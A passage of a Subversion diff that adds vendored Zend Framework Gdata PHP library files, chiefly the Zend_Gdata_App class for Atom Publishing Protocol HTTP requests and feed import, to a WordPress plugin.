+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'You must specify the location as either a string URI ' .
+                    'or a child of Zend_Gdata_Query');
+        }
+        return parent::getEntry($uri, $className);
+    }
+
+    /**
+     * Performs a HTTP request using the specified method.
+     *
+     * Overrides the definition in the parent (Zend_Gdata_App)
+     * and uses the Zend_Gdata_HttpClient functionality
+     * to filter the HTTP requests and responses.
+     *
+     * @param string $method The HTTP method for the request -
+     *                       'GET', 'POST', 'PUT', 'DELETE'
+     * @param string $url The URL to which this request is being performed,
+     *                    or null if found in $data
+     * @param array $headers An associative array of HTTP headers
+     *                       for this request
+     * @param string $body The body of the HTTP request
+     * @param string $contentType The value for the content type of the
+     *                            request body
+     * @param int $remainingRedirects Number of redirects to follow
+     *                                if requests results in one
+     * @return Zend_Http_Response The response object
+     */
+    public function performHttpRequest($method, $url, $headers = array(), $body = null, $contentType = null, $remainingRedirects = null)
+    {
+        if ($this->_httpClient instanceof Zend_Gdata_HttpClient) {
+            $filterResult = $this->_httpClient->filterHttpRequest($method, $url, $headers, $body, $contentType);
+            $method = $filterResult['method'];
+            $url = $filterResult['url'];
+            $body = $filterResult['body'];
+            $headers = $filterResult['headers'];
+            $contentType = $filterResult['contentType'];
+            return $this->_httpClient->filterHttpResponse(parent::performHttpRequest($method, $url, $headers, $body, $contentType, $remainingRedirects));
+        } else {
+            return parent::performHttpRequest($method, $url, $headers, $body, $contentType, $remainingRedirects);
+        }
+    }
+
+    /**
+     * Determines whether service object is authenticated.
+     *
+     * @return boolean True if service object is authenticated, false otherwise.
+     */
+    public function isAuthenticated()
+    {
+        $client = parent::getHttpClient();
+        if ($client->getClientLoginToken() ||
+            $client->getAuthSubToken()) {
+                return true;
+        }
+
+        return false;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App.php	(revision 44)
@@ -0,0 +1,1205 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * Zend_Gdata_Feed
+ */
+require_once 'Zend/Gdata/Feed.php';
+
+/**
+ * Zend_Gdata_Http_Client
+ */
+require_once 'Zend/Http/Client.php';
+
+/**
+ * Zend_Version
+ */
+require_once 'Zend/Version.php';
+
+/**
+ * Zend_Gdata_App_MediaSource
+ */
+require_once 'Zend/Gdata/App/MediaSource.php';
+
+/**
+ * Provides Atom Publishing Protocol (APP) functionality.  This class and all
+ * other components of Zend_Gdata_App are designed to work independently from
+ * other Zend_Gdata components in order to interact with generic APP services.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App
+{
+
+    /** Default major protocol version.
+      *
+      * @see _majorProtocolVersion
+      */
+    const DEFAULT_MAJOR_PROTOCOL_VERSION = 1;
+
+    /** Default minor protocol version.
+      *
+      * @see _minorProtocolVersion
+      */
+    const DEFAULT_MINOR_PROTOCOL_VERSION = null;
+
+    /**
+     * Client object used to communicate
+     *
+     * @var Zend_Http_Client
+     */
+    protected $_httpClient;
+
+    /**
+     * Client object used to communicate in static context
+     *
+     * @var Zend_Http_Client
+     */
+    protected static $_staticHttpClient = null;
+
+    /**
+     * Override HTTP PUT and DELETE request methods?
+     *
+     * @var boolean
+     */
+    protected static $_httpMethodOverride = false;
+
+    /**
+     * Enable gzipped responses?
+     *
+     * @var boolean
+     */
+    protected static $_gzipEnabled = false;
+
+    /**
+     * Use verbose exception messages.  In the case of HTTP errors,
+     * use the body of the HTTP response in the exception message.
+     *
+     * @var boolean
+     */
+    protected static $_verboseExceptionMessages = true;
+
+    /**
+     * Default URI to which to POST.
+     *
+     * @var string
+     */
+    protected $_defaultPostUri = null;
+
+    /**
+     * Packages to search for classes when using magic __call method, in order.
+     *
+     * @var array
+     */
+    protected $_registeredPackages = array(
+            'Zend_Gdata_App_Extension',
+            'Zend_Gdata_App');
+
+    /**
+     * Maximum number of redirects to follow during HTTP operations
+     *
+     * @var int
+     */
+    protected static $_maxRedirects = 5;
+
+    /**
+      * Indicates the major protocol version that should be used.
+      * At present, recognized values are either 1 or 2. However, any integer
+      * value >= 1 is considered valid.
+      *
+      * Under most circumtances, this will be automatically set by
+      * Zend_Gdata_App subclasses.
+      *
+      * @see setMajorProtocolVersion()
+      * @see getMajorProtocolVersion()
+      */
+    protected $_majorProtocolVersion;
+
+    /**
+      * Indicates the minor protocol version that should be used. Can be set
+      * to either an integer >= 0, or NULL if no minor version should be sent
+      * to the server.
+      *
+      * At present, this field is not used by any Google services, but may be
+      * used in the future.
+      *
+      * Under most circumtances, this will be automatically set by
+      * Zend_Gdata_App subclasses.
+      *
+      * @see setMinorProtocolVersion()
+      * @see getMinorProtocolVersion()
+      */
+    protected $_minorProtocolVersion;
+
+    /**
+     * Whether we want to use XML to object mapping when fetching data.
+     *
+     * @var boolean
+     */
+    protected $_useObjectMapping = true;
+
+    /**
+     * Create Gdata object
+     *
+     * @param Zend_Http_Client $client
+     * @param string $applicationId
+     */
+    public function __construct($client = null, $applicationId = 'MyCompany-MyApp-1.0')
+    {
+        $this->setHttpClient($client, $applicationId);
+        // Set default protocol version. Subclasses should override this as
+        // needed once a given service supports a new version.
+        $this->setMajorProtocolVersion(self::DEFAULT_MAJOR_PROTOCOL_VERSION);
+        $this->setMinorProtocolVersion(self::DEFAULT_MINOR_PROTOCOL_VERSION);
+    }
+
+    /**
+     * Adds a Zend Framework package to the $_registeredPackages array.
+     * This array is searched when using the magic __call method below
+     * to instantiante new objects.
+     *
+     * @param string $name The name of the package (eg Zend_Gdata_App)
+     * @return void
+     */
+    public function registerPackage($name)
+    {
+        array_unshift($this->_registeredPackages, $name);
+    }
+
+    /**
+     * Retrieve feed as string or object
+     *
+     * @param string $uri The uri from which to retrieve the feed
+     * @param string $className The class which is used as the return type
+     * @return string|Zend_Gdata_App_Feed Returns string only if the object
+     *                                    mapping has been disabled explicitly
+     *                                    by passing false to the
+     *                                    useObjectMapping() function.
+     */
+    public function getFeed($uri, $className='Zend_Gdata_App_Feed')
+    {
+        return $this->importUrl($uri, $className, null);
+    }
+
+    /**
+     * Retrieve entry as string or object
+     *
+     * @param string $uri
+     * @param string $className The class which is used as the return type
+     * @return string|Zend_Gdata_App_Entry Returns string only if the object
+     *                                     mapping has been disabled explicitly
+     *                                     by passing false to the
+     *                                     useObjectMapping() function.
+     */
+    public function getEntry($uri, $className='Zend_Gdata_App_Entry')
+    {
+        return $this->importUrl($uri, $className, null);
+    }
+
+    /**
+     * Get the Zend_Http_Client object used for communication
+     *
+     * @return Zend_Http_Client
+     */
+    public function getHttpClient()
+    {
+        return $this->_httpClient;
+    }
+
+    /**
+     * Set the Zend_Http_Client object used for communication
+     *
+     * @param Zend_Http_Client $client The client to use for communication
+     * @throws Zend_Gdata_App_HttpException
+     * @return Zend_Gdata_App Provides a fluent interface
+     */
+    public function setHttpClient($client,
+        $applicationId = 'MyCompany-MyApp-1.0')
+    {
+        if ($client === null) {
+            $client = new Zend_Http_Client();
+        }
+        if (!$client instanceof Zend_Http_Client) {
+            require_once 'Zend/Gdata/App/HttpException.php';
+            throw new Zend_Gdata_App_HttpException(
+                'Argument is not an instance of Zend_Http_Client.');
+        }
+        $userAgent = $applicationId . ' Zend_Framework_Gdata/' .
+            Zend_Version::VERSION;
+        $client->setHeaders('User-Agent', $userAgent);
+        $client->setConfig(array(
+            'strictredirects' => true
+            )
+        );
+        $this->_httpClient = $client;
+        Zend_Gdata::setStaticHttpClient($client);
+        return $this;
+    }
+
+    /**
+     * Set the static HTTP client instance
+     *
+     * Sets the static HTTP client object to use for retrieving the feed.
+     *
+     * @param  Zend_Http_Client $httpClient
+     * @return void
+     */
+    public static function setStaticHttpClient(Zend_Http_Client $httpClient)
+    {
+        self::$_staticHttpClient = $httpClient;
+    }
+
+
+    /**
+     * Gets the HTTP client object. If none is set, a new Zend_Http_Client will be used.
+     *
+     * @return Zend_Http_Client
+     */
+    public static function getStaticHttpClient()
+    {
+        if (!self::$_staticHttpClient instanceof Zend_Http_Client) {
+            $client = new Zend_Http_Client();
+            $userAgent = 'Zend_Framework_Gdata/' . Zend_Version::VERSION;
+            $client->setHeaders('User-Agent', $userAgent);
+            $client->setConfig(array(
+                'strictredirects' => true
+                )
+            );
+            self::$_staticHttpClient = $client;
+        }
+        return self::$_staticHttpClient;
+    }
+
+    /**
+     * Toggle using POST instead of PUT and DELETE HTTP methods
+     *
+     * Some feed implementations do not accept PUT and DELETE HTTP
+     * methods, or they can't be used because of proxies or other
+     * measures. This allows turning on using POST where PUT and
+     * DELETE would normally be used; in addition, an
+     * X-Method-Override header will be sent with a value of PUT or
+     * DELETE as appropriate.
+     *
+     * @param  boolean $override Whether to override PUT and DELETE with POST.
+     * @return void
+     */
+    public static function setHttpMethodOverride($override = true)
+    {
+        self::$_httpMethodOverride = $override;
+    }
+
+    /**
+     * Get the HTTP override state
+     *
+     * @return boolean
+     */
+    public static function getHttpMethodOverride()
+    {
+        return self::$_httpMethodOverride;
+    }
+
+    /**
+     * Toggle requesting gzip encoded responses
+     *
+     * @param  boolean $enabled Whether or not to enable gzipped responses
+     * @return void
+     */
+    public static function setGzipEnabled($enabled = false)
+    {
+        if ($enabled && !function_exists('gzinflate')) {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'You cannot enable gzipped responses if the zlib module ' .
+                    'is not enabled in your PHP installation.');
+
+        }
+        self::$_gzipEnabled = $enabled;
+    }
+
+    /**
+     * Get the HTTP override state
+     *
+     * @return boolean
+     */
+    public static function getGzipEnabled()
+    {
+        return self::$_gzipEnabled;
+    }
+
+    /**
+     * Get whether to use verbose exception messages
+     *
+     * In the case of HTTP errors,  use the body of the HTTP response
+     * in the exception message.
+     *
+     * @return boolean
+     */
+    public static function getVerboseExceptionMessages()
+    {
+        return self::$_verboseExceptionMessages;
+    }
+
+    /**
+     * Set whether to use verbose exception messages
+     *
+     * In the case of HTTP errors, use the body of the HTTP response
+     * in the exception message.
+     *
+     * @param boolean $verbose Whether to use verbose exception messages
+     */
+    public static function setVerboseExceptionMessages($verbose)
+    {
+        self::$_verboseExceptionMessages = $verbose;
+    }
+
+    /**
+     * Set the maximum number of redirects to follow during HTTP operations
+     *
+     * @param int $maxRedirects Maximum number of redirects to follow
+     * @return void
+     */
+    public static function setMaxRedirects($maxRedirects)
+    {
+        self::$_maxRedirects = $maxRedirects;
+    }
+
+    /**
+     * Get the maximum number of redirects to follow during HTTP operations
+     *
+     * @return int Maximum number of redirects to follow
+     */
+    public static function getMaxRedirects()
+    {
+        return self::$_maxRedirects;
+    }
+
+    /**
+     * Set the major protocol version that should be used. Values < 1 will
+     * cause a Zend_Gdata_App_InvalidArgumentException to be thrown.
+     *
+     * @see _majorProtocolVersion
+     * @param int $value The major protocol version to use.
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     */
+    public function setMajorProtocolVersion($value)
+    {
+        if (!($value >= 1)) {
+            require_once('Zend/Gdata/App/InvalidArgumentException.php');
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'Major protocol version must be >= 1');
+        }
+        $this->_majorProtocolVersion = $value;
+    }
+
+    /**
+     * Get the major protocol version that is in use.
+     *
+     * @see _majorProtocolVersion
+     * @return int The major protocol version in use.
+     */
+    public function getMajorProtocolVersion()
+    {
+        return $this->_majorProtocolVersion;
+    }
+
+    /**
+     * Set the minor protocol version that should be used. If set to NULL, no
+     * minor protocol version will be sent to the server. Values < 0 will
+     * cause a Zend_Gdata_App_InvalidArgumentException to be thrown.
+     *
+     * @see _minorProtocolVersion
+     * @param (int|NULL) $value The minor protocol version to use.
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     */
+    public function setMinorProtocolVersion($value)
+    {
+        if (!($value >= 0)) {
+            require_once('Zend/Gdata/App/InvalidArgumentException.php');
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'Minor protocol version must be >= 0');
+        }
+        $this->_minorProtocolVersion = $value;
+    }
+
+    /**
+     * Get the minor protocol version that is in use.
+     *
+     * @see _minorProtocolVersion
+     * @return (int|NULL) The major protocol version in use, or NULL if no
+     *         minor version is specified.
+     */
+    public function getMinorProtocolVersion()
+    {
+        return $this->_minorProtocolVersion;
+    }
+
+    /**
+     * Provides pre-processing for HTTP requests to APP services.
+     *
+     * 1. Checks the $data element and, if it's an entry, extracts the XML,
+     *    multipart data, edit link (PUT,DELETE), etc.
+     * 2. If $data is a string, sets the default content-type  header as
+     *    'application/atom+xml' if it's not already been set.
+     * 3. Adds a x-http-method override header and changes the HTTP method
+     *    to 'POST' if necessary as per getHttpMethodOverride()
+     *
+     * @param string $method The HTTP method for the request - 'GET', 'POST',
+     *                       'PUT', 'DELETE'
+     * @param string $url The URL to which this request is being performed,
+     *                    or null if found in $data
+     * @param array $headers An associative array of HTTP headers for this
+     *                       request
+     * @param mixed $data The Zend_Gdata_App_Entry or XML for the
+     *                    body of the request
+     * @param string $contentTypeOverride The override value for the
+     *                                    content type of the request body
+     * @return array An associative array containing the determined
+     *               'method', 'url', 'data', 'headers', 'contentType'
+     */
+    public function prepareRequest($method,
+                                   $url = null,
+                                   $headers = array(),
+                                   $data = null,
+                                   $contentTypeOverride = null)
+    {
+        // As a convenience, if $headers is null, we'll convert it back to
+        // an empty array.
+        if ($headers === null) {
+            $headers = array();
+        }
+
+        $rawData = null;
+        $finalContentType = null;
+        if ($url == null) {
+            $url = $this->_defaultPostUri;
+        }
+
+        if (is_string($data)) {
+            $rawData = $data;
+            if ($contentTypeOverride === null) {
+                $finalContentType = 'application/atom+xml';
+            }
+        } elseif ($data instanceof Zend_Gdata_App_MediaEntry) {
+            $rawData = $data->encode();
+            if ($data->getMediaSource() !== null) {
+                $finalContentType = $rawData->getContentType();
+                $headers['MIME-version'] = '1.0';
+                $headers['Slug'] = $data->getMediaSource()->getSlug();
+            } else {
+                $finalContentType = 'application/atom+xml';
+            }
+            if ($method == 'PUT' || $method == 'DELETE') {
+                $editLink = $data->getEditLink();
+                if ($editLink != null) {
+                    $url = $editLink->getHref();
+                }
+            }
+        } elseif ($data instanceof Zend_Gdata_App_Entry) {
+            $rawData = $data->saveXML();
+            $finalContentType = 'application/atom+xml';
+            if ($method == 'PUT' || $method == 'DELETE') {
+                $editLink = $data->getEditLink();
+                if ($editLink != null) {
+                    $url = $editLink->getHref();
+                }
+            }
+        } elseif ($data instanceof Zend_Gdata_App_MediaSource) {
+            $rawData = $data->encode();
+            if ($data->getSlug() !== null) {
+                $headers['Slug'] = $data->getSlug();
+            }
+            $finalContentType = $data->getContentType();
+        }
+
+        if ($method == 'DELETE') {
+            $rawData = null;
+        }
+
+        // Set an If-Match header if:
+        //   - This isn't a DELETE
+        //   - If this isn't a GET, the Etag isn't weak
+        //   - A similar header (If-Match/If-None-Match) hasn't already been
+        //     set.
+        if ($method != 'DELETE' && (
+                !array_key_exists('If-Match', $headers) &&
+                !array_key_exists('If-None-Match', $headers)
+                ) ) {
+            $allowWeak = $method == 'GET';
+            if ($ifMatchHeader = $this->generateIfMatchHeaderData(
+                    $data, $allowWeak)) {
+                $headers['If-Match'] = $ifMatchHeader;
+            }
+        }
+
+        if ($method != 'POST' && $method != 'GET' && Zend_Gdata_App::getHttpMethodOverride()) {
+            $headers['x-http-method-override'] = $method;
+            $method = 'POST';
+        } else {
+            $headers['x-http-method-override'] = null;
+        }
+
+        if ($contentTypeOverride != null) {
+            $finalContentType = $contentTypeOverride;
+        }
+
+        return array('method' => $method, 'url' => $url,
+            'data' => $rawData, 'headers' => $headers,
+            'contentType' => $finalContentType);
+    }
+
+    /**
+     * Performs a HTTP request using the specified method
+     *
+     * @param string $method The HTTP method for the request - 'GET', 'POST',
+     *                       'PUT', 'DELETE'
+     * @param string $url The URL to which this request is being performed
+     * @param array $headers An associative array of HTTP headers
+     *                       for this request
+     * @param string $body The body of the HTTP request
+     * @param string $contentType The value for the content type
+     *                                of the request body
+     * @param int $remainingRedirects Number of redirects to follow if request
+     *                              s results in one
+     * @return Zend_Http_Response The response object
+     */
+    public function performHttpRequest($method, $url, $headers = null,
+        $body = null, $contentType = null, $remainingRedirects = null)
+    {
+        require_once 'Zend/Http/Client/Exception.php';
+        if ($remainingRedirects === null) {
+            $remainingRedirects = self::getMaxRedirects();
+        }
+        if ($headers === null) {
+            $headers = array();
+        }
+        // Append a Gdata version header if protocol v2 or higher is in use.
+        // (Protocol v1 does not use this header.)
+        $major = $this->getMajorProtocolVersion();
+        $minor = $this->getMinorProtocolVersion();
+        if ($major >= 2) {
+            $headers['GData-Version'] = $major +
+                    (($minor === null) ? '.' + $minor : '');
+        }
+
+        // check the overridden method
+        if (($method == 'POST' || $method == 'PUT') && $body === null &&
+            $headers['x-http-method-override'] != 'DELETE') {
+                require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+                throw new Zend_Gdata_App_InvalidArgumentException(
+                        'You must specify the data to post as either a ' .
+                        'string or a child of Zend_Gdata_App_Entry');
+        }
+        if ($url === null) {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                'You must specify an URI to which to post.');
+        }
+        $headers['Content-Type'] = $contentType;
+        if (Zend_Gdata_App::getGzipEnabled()) {
+            // some services require the word 'gzip' to be in the user-agent
+            // header in addition to the accept-encoding header
+            if (strpos($this->_httpClient->getHeader('User-Agent'),
+                'gzip') === false) {
+                $headers['User-Agent'] =
+                    $this->_httpClient->getHeader('User-Agent') . ' (gzip)';
+            }
+            $headers['Accept-encoding'] = 'gzip, deflate';
+        } else {
+            $headers['Accept-encoding'] = 'identity';
+        }
+
+        // Make sure the HTTP client object is 'clean' before making a request
+        // In addition to standard headers to reset via resetParameters(),
+        // also reset the Slug header
+        $this->_httpClient->resetParameters();
+        $this->_httpClient->setHeaders('Slug', null);
+
+        // Set the params for the new request to be performed
+        $this->_httpClient->setHeaders($headers);
+        $this->_httpClient->setUri($url);
+        $this->_httpClient->setConfig(array('maxredirects' => 0));
+
+        // Set the proper adapter if we are handling a streaming upload
+        $usingMimeStream = false;
+        $oldHttpAdapter = null;
+
+        if ($body instanceof Zend_Gdata_MediaMimeStream) {
+            $usingMimeStream = true;
+            $this->_httpClient->setRawDataStream($body, $contentType);
+            $oldHttpAdapter = $this->_httpClient->getAdapter();
+
+            if ($oldHttpAdapter instanceof Zend_Http_Client_Adapter_Proxy) {
+                require_once 'Zend/Gdata/HttpAdapterStreamingProxy.php';
+                $newAdapter = new Zend_Gdata_HttpAdapterStreamingProxy();
+            } else {
+                require_once 'Zend/Gdata/HttpAdapterStreamingSocket.php';
+                $newAdapter = new Zend_Gdata_HttpAdapterStreamingSocket();
+            }
+            $this->_httpClient->setAdapter($newAdapter);
+        } else {
+            $this->_httpClient->setRawData($body, $contentType);
+        }
+
+        try {
+            $response = $this->_httpClient->request($method);
+            // reset adapter
+            if ($usingMimeStream) {
+                $this->_httpClient->setAdapter($oldHttpAdapter);
+            }
+        } catch (Zend_Http_Client_Exception $e) {
+            // reset adapter
+            if ($usingMimeStream) {
+                $this->_httpClient->setAdapter($oldHttpAdapter);
+            }
+            require_once 'Zend/Gdata/App/HttpException.php';
+            throw new Zend_Gdata_App_HttpException($e->getMessage(), $e);
+        }
+        if ($response->isRedirect() && $response->getStatus() != '304') {
+            if ($remainingRedirects > 0) {
+                $newUrl = $response->getHeader('Location');
+                $response = $this->performHttpRequest(
+                    $method, $newUrl, $headers, $body,
+                    $contentType, $remainingRedirects);
+            } else {
+                require_once 'Zend/Gdata/App/HttpException.php';
+                throw new Zend_Gdata_App_HttpException(
+                        'Number of redirects exceeds maximum', null, $response);
+            }
+        }
+        if (!$response->isSuccessful()) {
+            require_once 'Zend/Gdata/App/HttpException.php';
+            $exceptionMessage = 'Expected response code 200, got ' .
+                $response->getStatus();
+            if (self::getVerboseExceptionMessages()) {
+                $exceptionMessage .= "\n" . $response->getBody();
+            }
+            $exception = new Zend_Gdata_App_HttpException($exceptionMessage);
+            $exception->setResponse($response);
+            throw $exception;
+        }
+        return $response;
+    }
+
+    /**
+     * Imports a feed located at $uri.
+     *
+     * @param  string $uri
+     * @param  Zend_Http_Client $client The client used for communication
+     * @param  string $className The class which is used as the return type
+     * @throws Zend_Gdata_App_Exception
+     * @return string|Zend_Gdata_App_Feed Returns string only if the object
+     *                                    mapping has been disabled explicitly
+     *                                    by passing false to the
+     *                                    useObjectMapping() function.
+     */
+    public static function import($uri, $client = null,
+        $className='Zend_Gdata_App_Feed')
+    {
+        $app = new Zend_Gdata_App($client);
+        $requestData = $app->prepareRequest('GET', $uri);
+        $response = $app->performHttpRequest(
+            $requestData['method'], $requestData['url']);
+
+        $feedContent = $response->getBody();
+        if (!$this->_useObjectMapping) {
+            return $feedContent;
+        }
+        $feed = self::importString($feedContent, $className);
+        if ($client != null) {
+            $feed->setHttpClient($client);
+        }
+        return $feed;
+    }
+
+    /**
+     * Imports the specified URL (non-statically).
+     *
+     * @param  string $url The URL to import
+     * @param  string $className The class which is used as the return type
+     * @param array $extraHeaders Extra headers to add to the request, as an
+     *        array of string-based key/value pairs.
+     * @throws Zend_Gdata_App_Exception
+     * @return string|Zend_Gdata_App_Feed Returns string only if the object
+     *                                    mapping has been disabled explicitly
+     *                                    by passing false to the
+     *                                    useObjectMapping() function.
+     */
+    public function importUrl($url, $className='Zend_Gdata_App_Feed',
+        $extraHeaders = array())
+    {
+        $response = $this->get($url, $extraHeaders);
+
+        $feedContent = $response->getBody();
+        if (!$this->_useObjectMapping) {
+            return $feedContent;
+        }
+        
+        $protocolVersionStr = $response->getHeader('GData-Version');
+        $majorProtocolVersion = null;
+        $minorProtocolVersion = null;
+        if ($protocolVersionStr !== null) {
+            // Extract protocol major and minor version from header
+            $delimiterPos = strpos($protocolVersionStr, '.');
+            $length = strlen($protocolVersionStr);
+            $major = substr($protocolVersionStr, 0, $delimiterPos);
+            $minor = substr($protocolVersionStr, $delimiterPos + 1, $length);
+            $majorProtocolVersion = $major;
+            $minorProtocolVersion = $minor;
+        }
+
+        $feed = self::importString($feedContent, $className,
+            $majorProtocolVersion, $minorProtocolVersion);
+        if ($this->getHttpClient() != null) {
+            $feed->setHttpClient($this->getHttpClient());
+        }
+        $etag = $response->getHeader('ETag');
+        if ($etag !== null) {
+            $feed->setEtag($etag);
+        }
+        return $feed;
+    }
+
+
+    /**
+     * Imports a feed represented by $string.
+     *
+     * @param string $string
+     * @param string $className The class which is used as the return type
+     * @param integer $majorProcolVersion (optional) The major protocol version
+     *        of the data model object that is to be created.
+     * @param integer $minorProcolVersion (optional) The minor protocol version
+     *        of the data model object that is to be created.
+     * @throws Zend_Gdata_App_Exception
+     * @return Zend_Gdata_App_Feed
+     */
+    public static function importString($string,
+        $className='Zend_Gdata_App_Feed', $majorProtocolVersion = null,
+        $minorProtocolVersion = null)
+    {
+        // Load the feed as an XML DOMDocument object
+        @ini_set('track_errors', 1);
+        $doc = new DOMDocument();
+        $success = @$doc->loadXML($string);
+        @ini_restore('track_errors');
+
+        if (!$success) {
+            require_once 'Zend/Gdata/App/Exception.php';
+            throw new Zend_Gdata_App_Exception(
+                "DOMDocument cannot parse XML: $php_errormsg");
+        }
+
+        $feed = new $className();
+        $feed->setMajorProtocolVersion($majorProtocolVersion);
+        $feed->setMinorProtocolVersion($minorProtocolVersion);
+        $feed->transferFromXML($string);
+        $feed->setHttpClient(self::getstaticHttpClient());
+        return $feed;
+    }
+
+
+    /**
+     * Imports a feed from a file located at $filename.
+     *
+     * @param  string $filename
+     * @param  string $className The class which is used as the return type
+     * @param  string $useIncludePath Whether the include_path should be searched
+     * @throws Zend_Gdata_App_Exception
+     * @return Zend_Gdata_Feed
+     */
+    public static function importFile($filename,
+            $className='Zend_Gdata_App_Feed', $useIncludePath = false)
+    {
+        @ini_set('track_errors', 1);
+        $feed = @file_get_contents($filename, $useIncludePath);
+        @ini_restore('track_errors');
+        if ($feed === false) {
+            require_once 'Zend/Gdata/App/Exception.php';
+            throw new Zend_Gdata_App_Exception(
+                "File could not be loaded: $php_errormsg");
+        }
+        return self::importString($feed, $className);
+    }
+
+    /**
+     * GET a URI using client object.
+     *
+     * @param string $uri GET URI
+     * @param array $extraHeaders Extra headers to add to the request, as an
+     *        array of string-based key/value pairs.
+     * @throws Zend_Gdata_App_HttpException
+     * @return Zend_Http_Response
+     */
+    public function get($uri, $extraHeaders = array())
+    {
+        $requestData = $this->prepareRequest('GET', $uri, $extraHeaders);
+        return $this->performHttpRequest(
+            $requestData['method'], $requestData['url'],
+            $requestData['headers']);
+    }
+
+    /**
+     * POST data with client object
+     *
+     * @param mixed $data The Zend_Gdata_App_Entry or XML to post
+     * @param string $uri POST URI
+     * @param array $headers Additional HTTP headers to insert.
+     * @param string $contentType Content-type of the data
+     * @param array $extraHeaders Extra headers to add to the request, as an
+     *        array of string-based key/value pairs.
+     * @return Zend_Http_Response
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     */
+    public function post($data, $uri = null, $remainingRedirects = null,
+            $contentType = null, $extraHeaders = null)
+    {
+        $requestData = $this->prepareRequest(
+            'POST', $uri, $extraHeaders, $data, $contentType);
+        return $this->performHttpRequest(
+                $requestData['method'], $requestData['url'],
+                $requestData['headers'], $requestData['data'],
+                $requestData['contentType']);
+    }
+
+    /**
+     * PUT data with client object
+     *
+     * @param mixed $data The Zend_Gdata_App_Entry or XML to post
+     * @param string $uri PUT URI
+     * @param array $headers Additional HTTP headers to insert.
+     * @param string $contentType Content-type of the data
+     * @param array $extraHeaders Extra headers to add to the request, as an
+     *        array of string-based key/value pairs.
+     * @return Zend_Http_Response
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     */
+    public function put($data, $uri = null, $remainingRedirects = null,
+            $contentType = null, $extraHeaders = null)
+    {
+        $requestData = $this->prepareRequest(
+            'PUT', $uri, $extraHeaders, $data, $contentType);
+        return $this->performHttpRequest(
+                $requestData['method'], $requestData['url'],
+                $requestData['headers'], $requestData['data'],
+                $requestData['contentType']);
+    }
+
+    /**
+     * DELETE entry with client object
+     *
+     * @param mixed $data The Zend_Gdata_App_Entry or URL to delete
+     * @return void
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     */
+    public function delete($data, $remainingRedirects = null)
+    {
+        if (is_string($data)) {
+            $requestData = $this->prepareRequest('DELETE', $data);
+        } else {
+            $headers = array();
+
+            $requestData = $this->prepareRequest(
+                'DELETE', null, $headers, $data);
+        }
+        return $this->performHttpRequest($requestData['method'],
+                                         $requestData['url'],
+                                         $requestData['headers'],
+                                         '',
+                                         $requestData['contentType'],
+                                         $remainingRedirects);
+    }
+
+    /**
+     * Inserts an entry to a given URI and returns the response as a
+     * fully formed Entry.
+     *
+     * @param mixed  $data The Zend_Gdata_App_Entry or XML to post
+     * @param string $uri POST URI
+     * @param string $className The class of entry to be returned.
+     * @param array $extraHeaders Extra headers to add to the request, as an
+     *        array of string-based key/value pairs.
+     * @return Zend_Gdata_App_Entry The entry returned by the service after
+     *         insertion.
+     */
+    public function insertEntry($data, $uri, $className='Zend_Gdata_App_Entry',
+        $extraHeaders = array())
+    {
+        $response = $this->post($data, $uri, null, null, $extraHeaders);
+
+        $returnEntry = new $className($response->getBody());
+        $returnEntry->setHttpClient(self::getstaticHttpClient());
+
+        $etag = $response->getHeader('ETag');
+        if ($etag !== null) {
+            $returnEntry->setEtag($etag);
+        }
+
+        return $returnEntry;
+    }
+
+    /**
+     * Update an entry
+     *
+     * @param mixed $data Zend_Gdata_App_Entry or XML (w/ID and link rel='edit')
+     * @param string|null The URI to send requests to, or null if $data
+     *        contains the URI.
+     * @param string|null The name of the class that should be deserialized
+     *        from the server response. If null, then 'Zend_Gdata_App_Entry'
+     *        will be used.
+     * @param array $extraHeaders Extra headers to add to the request, as an
+     *        array of string-based key/value pairs.
+     * @return Zend_Gdata_App_Entry The entry returned from the server
+     * @throws Zend_Gdata_App_Exception
+     */
+    public function updateEntry($data, $uri = null, $className = null,
+        $extraHeaders = array())
+    {
+        if ($className === null && $data instanceof Zend_Gdata_App_Entry) {
+            $className = get_class($data);
+        } elseif ($className === null) {
+            $className = 'Zend_Gdata_App_Entry';
+        }
+
+        $response = $this->put($data, $uri, null, null, $extraHeaders);
+        $returnEntry = new $className($response->getBody());
+        $returnEntry->setHttpClient(self::getstaticHttpClient());
+
+        $etag = $response->getHeader('ETag');
+        if ($etag !== null) {
+            $returnEntry->setEtag($etag);
+        }
+
+        return $returnEntry;
+    }
+
+    /**
+     * Provides a magic factory method to instantiate new objects with
